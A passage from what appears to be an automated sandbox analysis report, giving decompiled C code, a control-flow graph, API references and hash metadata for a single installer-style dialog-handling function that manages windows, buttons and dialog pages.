                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                                                • String ID: $M$N
                                                                                                                • API String ID: 2564846305-813528018
                                                                                                                • Opcode ID: 8650db15f8eec7f2c7436ff7bc9e6097db9116c58dec0643669c66b6eab2f928
                                                                                                                • Instruction ID: 669472b6e39b4296dbb294a81ed98d86f32f22d8abeb4cff7518c6a892085abf
                                                                                                                • Opcode Fuzzy Hash: 8650db15f8eec7f2c7436ff7bc9e6097db9116c58dec0643669c66b6eab2f928
                                                                                                                • Instruction Fuzzy Hash: EF028A70900608EFDB20DFA9DD45AAF7BB5FB84314F10817AE610BA2E0D7799942DF58
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 266 403f9a-403fac 267 403fb2-403fb8 266->267 268 404113-404122 266->268 267->268 269 403fbe-403fc7 267->269 270 404171-404186 268->270 271 404124-40416c GetDlgItem * 2 call 404499 SetClassLongW call 40140b 268->271 274 403fc9-403fd6 SetWindowPos 269->274 275 403fdc-403fe3 269->275 272 4041c6-4041cb call 4044e5 270->272 273 404188-40418b 270->273 271->270 288 4041d0-4041eb 272->288 277 40418d-404198 call 401389 273->277 278 4041be-4041c0 273->278 274->275 280 403fe5-403fff ShowWindow 275->280 281 404027-40402d 275->281 277->278 302 40419a-4041b9 SendMessageW 277->302 278->272 287 404466 278->287 289 404100-40410e call 404500 280->289 290 404005-404018 GetWindowLongW 280->290 283 404046-404049 281->283 284 40402f-404041 DestroyWindow 281->284 294 40404b-404057 SetWindowLongW 283->294 295 40405c-404062 283->295 291 404443-404449 284->291 293 404468-40446f 287->293 298 4041f4-4041fa 288->298 299 4041ed-4041ef call 40140b 288->299 289->293 290->289 300 40401e-404021 ShowWindow 290->300 291->287 305 40444b-404451 291->305 294->293 295->289 301 404068-404077 GetDlgItem 295->301 306 404200-40420b 298->306 307 404424-40443d DestroyWindow EndDialog 298->307 299->298 300->281 309 404096-404099 301->309 310 404079-404090 SendMessageW IsWindowEnabled 301->310 302->293 305->287 311 404453-40445c ShowWindow 305->311 306->307 308 404211-40425e call 40657a call 404499 * 3 GetDlgItem 306->308 307->291 338 404260-404265 308->338 339 404268-4042a4 ShowWindow KiUserCallbackDispatcher call 4044bb EnableWindow 308->339 313 40409b-40409c 309->313 314 40409e-4040a1 309->314 310->287 310->309 311->287 316 4040cc-4040d1 call 404472 313->316 317 4040a3-4040a9 314->317 318 4040af-4040b4 314->318 316->289 321 4040ea-4040fa SendMessageW 317->321 322 4040ab-4040ad 317->322 318->321 323 4040b6-4040bc 318->323 321->289 322->316 326 4040d3-4040dc call 40140b 323->326 327 4040be-4040c4 call 40140b 323->327 326->289 336 4040de-4040e8 326->336 334 4040ca 327->334 334->316 336->334 338->339 342 4042a6-4042a7 339->342 343 4042a9 339->343 344 4042ab-4042d9 GetSystemMenu EnableMenuItem SendMessageW 342->344 343->344 345 4042db-4042ec SendMessageW 344->345 346 4042ee 344->346 347 4042f4-404333 call 4044ce call 403f7b call 40653d lstrlenW call 40657a SetWindowTextW call 401389 345->347 346->347 347->288 358 404339-40433b 347->358 358->288 359 404341-404345 358->359 360 404364-404378 DestroyWindow 359->360 361 404347-40434d 359->361 360->291 363 40437e-4043ab CreateDialogParamW 360->363 361->287 362 404353-404359 361->362 362->288 364 40435f 362->364 363->291 365 4043b1-404408 call 404499 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 363->365 364->287 365->287 370 40440a-404422 ShowWindow call 4044e5 365->370 370->291
                                                                                                                C-Code - Quality: 84%
                                                                                                                			E00403F9A(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
                                                                                                                				struct HWND__* _v28;
                                                                                                                				void* _v84;
                                                                                                                				void* _v88;
                                                                                                                				void* __ebx;
                                                                                                                				void* __edi;
                                                                                                                				void* __esi;
                                                                                                                				signed int _t34;
                                                                                                                				signed int _t36;
                                                                                                                				signed int _t38;
                                                                                                                				struct HWND__* _t48;
                                                                                                                				signed int _t67;
                                                                                                                				struct HWND__* _t73;
                                                                                                                				signed int _t86;
                                                                                                                				struct HWND__* _t91;
                                                                                                                				signed int _t99;
                                                                                                                				int _t103;
                                                                                                                				signed int _t117;
                                                                                                                				int _t118;
                                                                                                                				int _t122;
                                                                                                                				signed int _t124;
                                                                                                                				struct HWND__* _t127;
                                                                                                                				struct HWND__* _t128;
                                                                                                                				int _t129;
                                                                                                                				intOrPtr _t130;
                                                                                                                				long _t133;
                                                                                                                				int _t135;
                                                                                                                				int _t136;
                                                                                                                				void* _t137;
                                                                                                                
                                                                                                                				_t130 = _a8;
                                                                                                                				if(_t130 == 0x110 || _t130 == 0x408) {
                                                                                                                					_t34 = _a12;
                                                                                                                					_t127 = _a4;
                                                                                                                					__eflags = _t130 - 0x110;
                                                                                                                					 *0x42d250 = _t34;
                                                                                                                					if(_t130 == 0x110) {
                                                                                                                						 *0x434f08 = _t127;
                                                                                                                						 *0x42d264 = GetDlgItem(_t127, 1);
                                                                                                                						_t91 = GetDlgItem(_t127, 2);
                                                                                                                						_push(0xffffffff);
                                                                                                                						_push(0x1c);
                                                                                                                						 *0x42b230 = _t91;
                                                                                                                						E00404499(_t127);
                                                                                                                						SetClassLongW(_t127, 0xfffffff2,  *0x433ee8);
                                                                                                                						 *0x433ecc = E0040140B(4);
                                                                                                                						_t34 = 1;
                                                                                                                						__eflags = 1;
                                                                                                                						 *0x42d250 = 1;
                                                                                                                					}
                                                                                                                					_t124 =  *0x40a368; // 0x0
                                                                                                                					_t136 = 0;
                                                                                                                					_t133 = (_t124 << 6) +  *0x434f20;
                                                                                                                					__eflags = _t124;
                                                                                                                					if(_t124 < 0) {
                                                                                                                						L36:
                                                                                                                						E004044E5(0x40b);
                                                                                                                						while(1) {
                                                                                                                							_t36 =  *0x42d250;
                                                                                                                							 *0x40a368 =  *0x40a368 + _t36;
                                                                                                                							_t133 = _t133 + (_t36 << 6);
                                                                                                                							_t38 =  *0x40a368; // 0x0
                                                                                                                							__eflags = _t38 -  *0x434f24;
                                                                                                                							if(_t38 ==  *0x434f24) {
                                                                                                                								E0040140B(1);
                                                                                                                							}
                                                                                                                							__eflags =  *0x433ecc - _t136;
                                                                                                                							if( *0x433ecc != _t136) {
                                                                                                                								break;
                                                                                                                							}
                                                                                                                							__eflags =  *0x40a368 -  *0x434f24; // 0x0
                                                                                                                							if(__eflags >= 0) {
                                                                                                                								break;
                                                                                                                							}
                                                                                                                							_t117 =  *(_t133 + 0x14);
                                                                                                                							E0040657A(_t117, _t127, _t133, 0x445000,  *((intOrPtr*)(_t133 + 0x24)));
                                                                                                                							_push( *((intOrPtr*)(_t133 + 0x20)));
                                                                                                                							_push(0xfffffc19);
                                                                                                                							E00404499(_t127);
                                                                                                                							_push( *((intOrPtr*)(_t133 + 0x1c)));
                                                                                                                							_push(0xfffffc1b);
                                                                                                                							E00404499(_t127);
                                                                                                                							_push( *((intOrPtr*)(_t133 + 0x28)));
                                                                                                                							_push(0xfffffc1a);
                                                                                                                							E00404499(_t127);
                                                                                                                							_t48 = GetDlgItem(_t127, 3);
                                                                                                                							__eflags =  *0x434f8c - _t136;
                                                                                                                							_v28 = _t48;
                                                                                                                							if( *0x434f8c != _t136) {
                                                                                                                								_t117 = _t117 & 0x0000fefd | 0x00000004;
                                                                                                                								__eflags = _t117;
                                                                                                                							}
                                                                                                                							ShowWindow(_t48, _t117 & 0x00000008); // executed
                                                                                                                							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
                                                                                                                							E004044BB(_t117 & 0x00000002);
                                                                                                                							_t118 = _t117 & 0x00000004;
                                                                                                                							EnableWindow( *0x42b230, _t118);
                                                                                                                							__eflags = _t118 - _t136;
                                                                                                                							if(_t118 == _t136) {
                                                                                                                								_push(1);
                                                                                                                							} else {
                                                                                                                								_push(_t136);
                                                                                                                							}
                                                                                                                							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
                                                                                                                							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
                                                                                                                							__eflags =  *0x434f8c - _t136;
                                                                                                                							if( *0x434f8c == _t136) {
                                                                                                                								_push( *0x42d264);
                                                                                                                							} else {
                                                                                                                								SendMessageW(_t127, 0x401, 2, _t136);
                                                                                                                								_push( *0x42b230);
                                                                                                                							}
                                                                                                                							E004044CE();
                                                                                                                							E0040653D(0x42d268, E00403F7B());
                                                                                                                							E0040657A(0x42d268, _t127, _t133,  &(0x42d268[lstrlenW(0x42d268)]),  *((intOrPtr*)(_t133 + 0x18)));
                                                                                                                							SetWindowTextW(_t127, 0x42d268); // executed
                                                                                                                							_push(_t136);
                                                                                                                							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
                                                                                                                							__eflags = _t67;
                                                                                                                							if(_t67 != 0) {
                                                                                                                								continue;
                                                                                                                							} else {
                                                                                                                								__eflags =  *_t133 - _t136;
                                                                                                                								if( *_t133 == _t136) {
                                                                                                                									continue;
                                                                                                                								}
                                                                                                                								__eflags =  *(_t133 + 4) - 5;
                                                                                                                								if( *(_t133 + 4) != 5) {
                                                                                                                									DestroyWindow( *0x433ed8); // executed
                                                                                                                									 *0x42c240 = _t133;
                                                                                                                									__eflags =  *_t133 - _t136;
                                                                                                                									if( *_t133 <= _t136) {
                                                                                                                										goto L60;
                                                                                                                									}
                                                                                                                									_t73 = CreateDialogParamW( *0x434f00,  *_t133 +  *0x433ee0 & 0x0000ffff, _t127,  *( *(_t133 + 4) * 4 + "XF@"), _t133); // executed
                                                                                                                									__eflags = _t73 - _t136;
                                                                                                                									 *0x433ed8 = _t73;
                                                                                                                									if(_t73 == _t136) {
                                                                                                                										goto L60;
                                                                                                                									}
                                                                                                                									_push( *((intOrPtr*)(_t133 + 0x2c)));
                                                                                                                									_push(6);
                                                                                                                									E00404499(_t73);
                                                                                                                									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
                                                                                                                									ScreenToClient(_t127, _t137 + 0x10);
                                                                                                                									SetWindowPos( *0x433ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
                                                                                                                									_push(_t136);
                                                                                                                									E00401389( *((intOrPtr*)(_t133 + 0xc)));
                                                                                                                									__eflags =  *0x433ecc - _t136;
                                                                                                                									if( *0x433ecc != _t136) {
                                                                                                                										goto L63;
                                                                                                                									}
                                                                                                                									ShowWindow( *0x433ed8, 8);
                                                                                                                									E004044E5(0x405);
                                                                                                                									goto L60;
                                                                                                                								}
                                                                                                                								__eflags =  *0x434f8c - _t136;
                                                                                                                								if( *0x434f8c != _t136) {
                                                                                                                									goto L63;
                                                                                                                								}
                                                                                                                								__eflags =  *0x434f80 - _t136;
                                                                                                                								if( *0x434f80 != _t136) {
                                                                                                                									continue;
                                                                                                                								}
                                                                                                                								goto L63;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						DestroyWindow( *0x433ed8);
                                                                                                                						 *0x434f08 = _t136;
                                                                                                                						EndDialog(_t127,  *0x42ba38);
                                                                                                                						goto L60;
                                                                                                                					} else {
                                                                                                                						__eflags = _t34 - 1;
                                                                                                                						if(_t34 != 1) {
                                                                                                                							L35:
                                                                                                                							__eflags =  *_t133 - _t136;
                                                                                                                							if( *_t133 == _t136) {
                                                                                                                								goto L63;
                                                                                                                							}
                                                                                                                							goto L36;
                                                                                                                						}
                                                                                                                						_push(0);
                                                                                                                						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
                                                                                                                						__eflags = _t86;
                                                                                                                						if(_t86 == 0) {
                                                                                                                							goto L35;
                                                                                                                						}
                                                                                                                						SendMessageW( *0x433ed8, 0x40f, 0, 1);
                                                                                                                						__eflags =  *0x433ecc;
                                                                                                                						return 0 |  *0x433ecc == 0x00000000;
                                                                                                                					}
                                                                                                                				} else {
                                                                                                                					_t127 = _a4;
                                                                                                                					_t136 = 0;
                                                                                                                					if(_t130 == 0x47) {
                                                                                                                						SetWindowPos( *0x42d248, _t127, 0, 0, 0, 0, 0x13);
                                                                                                                					}
                                                                                                                					_t122 = _a12;
                                                                                                                					if(_t130 != 5) {
                                                                                                                						L8:
                                                                                                                						if(_t130 != 0x40d) {
                                                                                                                							__eflags = _t130 - 0x11;
                                                                                                                							if(_t130 != 0x11) {
                                                                                                                								__eflags = _t130 - 0x111;
                                                                                                                								if(_t130 != 0x111) {
                                                                                                                									goto L28;
                                                                                                                								}
                                                                                                                								_t135 = _t122 & 0x0000ffff;
                                                                                                                								_t128 = GetDlgItem(_t127, _t135);
                                                                                                                								__eflags = _t128 - _t136;
                                                                                                                								if(_t128 == _t136) {
                                                                                                                									L15:
                                                                                                                									__eflags = _t135 - 1;
                                                                                                                									if(_t135 != 1) {
                                                                                                                										__eflags = _t135 - 3;
                                                                                                                										if(_t135 != 3) {
                                                                                                                											_t129 = 2;
                                                                                                                											__eflags = _t135 - _t129;
                                                                                                                											if(_t135 != _t129) {
                                                                                                                												L27:
                                                                                                                												SendMessageW( *0x433ed8, 0x111, _t122, _a16);
                                                                                                                												goto L28;
                                                                                                                											}
                                                                                                                											__eflags =  *0x434f8c - _t136;
                                                                                                                											if( *0x434f8c == _t136) {
                                                                                                                												_t99 = E0040140B(3);
                                                                                                                												__eflags = _t99;
                                                                                                                												if(_t99 != 0) {
                                                                                                                													goto L28;
                                                                                                                												}
                                                                                                                												 *0x42ba38 = 1;
                                                                                                                												L23:
                                                                                                                												_push(0x78);
                                                                                                                												L24:
                                                                                                                												E00404472();
                                                                                                                												goto L28;
                                                                                                                											}
                                                                                                                											E0040140B(_t129);
                                                                                                                											 *0x42ba38 = _t129;
                                                                                                                											goto L23;
                                                                                                                										}
                                                                                                                										__eflags =  *0x40a368 - _t136; // 0x0
                                                                                                                										if(__eflags <= 0) {
                                                                                                                											goto L27;
                                                                                                                										}
                                                                                                                										_push(0xffffffff);
                                                                                                                										goto L24;
                                                                                                                									}
                                                                                                                									_push(_t135);
                                                                                                                									goto L24;
                                                                                                                								}
                                                                                                                								SendMessageW(_t128, 0xf3, _t136, _t136);
                                                                                                                								_t103 = IsWindowEnabled(_t128);
                                                                                                                								__eflags = _t103;
                                                                                                                								if(_t103 == 0) {
                                                                                                                									L63:
                                                                                                                									return 0;
                                                                                                                								}
                                                                                                                								goto L15;
                                                                                                                							}
                                                                                                                							SetWindowLongW(_t127, _t136, _t136);
                                                                                                                							return 1;
                                                                                                                						}
                                                                                                                						DestroyWindow( *0x433ed8);
                                                                                                                						 *0x433ed8 = _t122;
                                                                                                                						L60:
                                                                                                                						if( *0x42f268 == _t136 &&  *0x433ed8 != _t136) {
                                                                                                                							ShowWindow(_t127, 0xa);
                                                                                                                							 *0x42f268 = 1;
                                                                                                                						}
                                                                                                                						goto L63;
                                                                                                                					} else {
                                                                                                                						asm("sbb eax, eax");
                                                                                                                						ShowWindow( *0x42d248,  ~(_t122 - 1) & 0x00000005);
                                                                                                                						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
                                                                                                                							L28:
                                                                                                                							return E00404500(_a8, _t122, _a16);
                                                                                                                						} else {
                                                                                                                							ShowWindow(_t127, 4);
                                                                                                                							goto L8;
                                                                                                                						}
                                                                                                                					}
                                                                                                                				}
                                                                                                                			}































                                                                                                                0x00403fa5
                                                                                                                0x00403fac
                                                                                                                0x00404113
                                                                                                                0x00404117
                                                                                                                0x0040411b
                                                                                                                0x0040411d
                                                                                                                0x00404122
                                                                                                                0x0040412d
                                                                                                                0x00404138
                                                                                                                0x0040413d
                                                                                                                0x0040413f
                                                                                                                0x00404141
                                                                                                                0x00404144
                                                                                                                0x00404149
                                                                                                                0x00404157
                                                                                                                0x00404164
                                                                                                                0x0040416b
                                                                                                                0x0040416b
                                                                                                                0x0040416c
                                                                                                                0x0040416c
                                                                                                                0x00404171
                                                                                                                0x00404177
                                                                                                                0x0040417e
                                                                                                                0x00404184
                                                                                                                0x00404186
                                                                                                                0x004041c6
                                                                                                                0x004041cb
                                                                                                                0x004041d0
                                                                                                                0x004041d0
                                                                                                                0x004041d5
                                                                                                                0x004041de
                                                                                                                0x004041e0
                                                                                                                0x004041e5
                                                                                                                0x004041eb
                                                                                                                0x004041ef
                                                                                                                0x004041ef
                                                                                                                0x004041f4
                                                                                                                0x004041fa
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404205
                                                                                                                0x0040420b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404214
                                                                                                                0x0040421c
                                                                                                                0x00404221
                                                                                                                0x00404224
                                                                                                                0x0040422a
                                                                                                                0x0040422f
                                                                                                                0x00404232
                                                                                                                0x00404238
                                                                                                                0x0040423d
                                                                                                                0x00404240
                                                                                                                0x00404246
                                                                                                                0x0040424e
                                                                                                                0x00404254
                                                                                                                0x0040425a
                                                                                                                0x0040425e
                                                                                                                0x00404265
                                                                                                                0x00404265
                                                                                                                0x00404265
                                                                                                                0x0040426f
                                                                                                                0x00404281
                                                                                                                0x0040428d
                                                                                                                0x00404292
                                                                                                                0x0040429c
                                                                                                                0x004042a2
                                                                                                                0x004042a4
                                                                                                                0x004042a9
                                                                                                                0x004042a6
                                                                                                                0x004042a6
                                                                                                                0x004042a6
                                                                                                                0x004042b9
                                                                                                                0x004042d1
                                                                                                                0x004042d3
                                                                                                                0x004042d9
                                                                                                                0x004042ee
                                                                                                                0x004042db
                                                                                                                0x004042e4
                                                                                                                0x004042e6
                                                                                                                0x004042e6
                                                                                                                0x004042f4
                                                                                                                0x00404305
                                                                                                                0x0040431b
                                                                                                                0x00404322
                                                                                                                0x00404328
                                                                                                                0x0040432c
                                                                                                                0x00404331
                                                                                                                0x00404333
                                                                                                                0x00000000
                                                                                                                0x00404339
                                                                                                                0x00404339
                                                                                                                0x0040433b
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404341
                                                                                                                0x00404345
                                                                                                                0x0040436a
                                                                                                                0x00404370
                                                                                                                0x00404376
                                                                                                                0x00404378
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040439e
                                                                                                                0x004043a4
                                                                                                                0x004043a6
                                                                                                                0x004043ab
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004043b1
                                                                                                                0x004043b4
                                                                                                                0x004043b7
                                                                                                                0x004043ce
                                                                                                                0x004043da
                                                                                                                0x004043f3
                                                                                                                0x004043f9
                                                                                                                0x004043fd
                                                                                                                0x00404402
                                                                                                                0x00404408
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404412
                                                                                                                0x0040441d
                                                                                                                0x00000000
                                                                                                                0x0040441d
                                                                                                                0x00404347
                                                                                                                0x0040434d
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404353
                                                                                                                0x00404359
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x0040435f
                                                                                                                0x00404333
                                                                                                                0x0040442a
                                                                                                                0x00404436
                                                                                                                0x0040443d
                                                                                                                0x00000000
                                                                                                                0x00404188
                                                                                                                0x00404188
                                                                                                                0x0040418b
                                                                                                                0x004041be
                                                                                                                0x004041be
                                                                                                                0x004041c0
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004041c0
                                                                                                                0x0040418d
                                                                                                                0x00404191
                                                                                                                0x00404196
                                                                                                                0x00404198
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004041a8
                                                                                                                0x004041b0
                                                                                                                0x00000000
                                                                                                                0x004041b6
                                                                                                                0x00403fbe
                                                                                                                0x00403fbe
                                                                                                                0x00403fc2
                                                                                                                0x00403fc7
                                                                                                                0x00403fd6
                                                                                                                0x00403fd6
                                                                                                                0x00403fdc
                                                                                                                0x00403fe3
                                                                                                                0x00404027
                                                                                                                0x0040402d
                                                                                                                0x00404046
                                                                                                                0x00404049
                                                                                                                0x0040405c
                                                                                                                0x00404062
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00404068
                                                                                                                0x00404073
                                                                                                                0x00404075
                                                                                                                0x00404077
                                                                                                                0x00404096
                                                                                                                0x00404096
                                                                                                                0x00404099
                                                                                                                0x0040409e
                                                                                                                0x004040a1
                                                                                                                0x004040b1
                                                                                                                0x004040b2
                                                                                                                0x004040b4
                                                                                                                0x004040ea
                                                                                                                0x004040fa
                                                                                                                0x00000000
                                                                                                                0x004040fa
                                                                                                                0x004040b6
                                                                                                                0x004040bc
                                                                                                                0x004040d5
                                                                                                                0x004040da
                                                                                                                0x004040dc
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004040de
                                                                                                                0x004040ca
                                                                                                                0x004040ca
                                                                                                                0x004040cc
                                                                                                                0x004040cc
                                                                                                                0x00000000
                                                                                                                0x004040cc
                                                                                                                0x004040bf
                                                                                                                0x004040c4
                                                                                                                0x00000000
                                                                                                                0x004040c4
                                                                                                                0x004040a3
                                                                                                                0x004040a9
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x004040ab
                                                                                                                0x00000000
                                                                                                                0x004040ab
                                                                                                                0x0040409b
                                                                                                                0x00000000
                                                                                                                0x0040409b
                                                                                                                0x00404081
                                                                                                                0x00404088
                                                                                                                0x0040408e
                                                                                                                0x00404090
                                                                                                                0x00404466
                                                                                                                0x00000000
                                                                                                                0x00404466
                                                                                                                0x00000000
                                                                                                                0x00404090
                                                                                                                0x0040404e
                                                                                                                0x00000000
                                                                                                                0x00404056
                                                                                                                0x00404035
                                                                                                                0x0040403b
                                                                                                                0x00404443
                                                                                                                0x00404449
                                                                                                                0x00404456
                                                                                                                0x0040445c
                                                                                                                0x0040445c
                                                                                                                0x00000000
                                                                                                                0x00403fe5
                                                                                                                0x00403fea
                                                                                                                0x00403ff6
                                                                                                                0x00403fff
                                                                                                                0x00404100
                                                                                                                0x00000000
                                                                                                                0x0040401e
                                                                                                                0x00404021
                                                                                                                0x00000000
                                                                                                                0x00404021
                                                                                                                0x00403fff
                                                                                                                0x00403fe3

                                                                                                                APIs
                                                                                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FD6
                                                                                                                • ShowWindow.USER32(?), ref: 00403FF6
                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00404008
                                                                                                                • ShowWindow.USER32(?,00000004), ref: 00404021
                                                                                                                • DestroyWindow.USER32 ref: 00404035
                                                                                                                • SetWindowLongW.USER32(?,00000000,00000000), ref: 0040404E
                                                                                                                • GetDlgItem.USER32(?,?), ref: 0040406D
                                                                                                                • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404081
                                                                                                                • IsWindowEnabled.USER32(00000000), ref: 00404088
                                                                                                                • GetDlgItem.USER32(?,00000001), ref: 00404133
                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 0040413D
                                                                                                                • SetClassLongW.USER32(?,000000F2,?), ref: 00404157
                                                                                                                • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A8
                                                                                                                • GetDlgItem.USER32(?,00000003), ref: 0040424E
                                                                                                                • ShowWindow.USER32(00000000,?), ref: 0040426F
                                                                                                                • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404281
                                                                                                                • EnableWindow.USER32(?,?), ref: 0040429C
                                                                                                                • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042B2
                                                                                                                • EnableMenuItem.USER32(00000000), ref: 004042B9
                                                                                                                • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042D1
                                                                                                                • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042E4
                                                                                                                • lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 0040430E
                                                                                                                • SetWindowTextW.USER32(?,0042D268), ref: 00404322
                                                                                                                • ShowWindow.USER32(?,0000000A), ref: 00404456
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                                                                                • String ID:
                                                                                                                • API String ID: 121052019-0
                                                                                                                • Opcode ID: f65e638bec718107b599af9a82b264fc0764d6b1c1dffbdcb4ef221558e01a13
                                                                                                                • Instruction ID: 19e8ffe36521fda3862950d2389d84f1ef0c133ac5ff71005f69e3a94542e2f3
                                                                                                                • Opcode Fuzzy Hash: f65e638bec718107b599af9a82b264fc0764d6b1c1dffbdcb4ef221558e01a13
                                                                                                                • Instruction Fuzzy Hash: DDC1A1B1A00704ABDB206F61EE49E2B3A68FB84746F15053EF741B61F1CB799841DB2D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
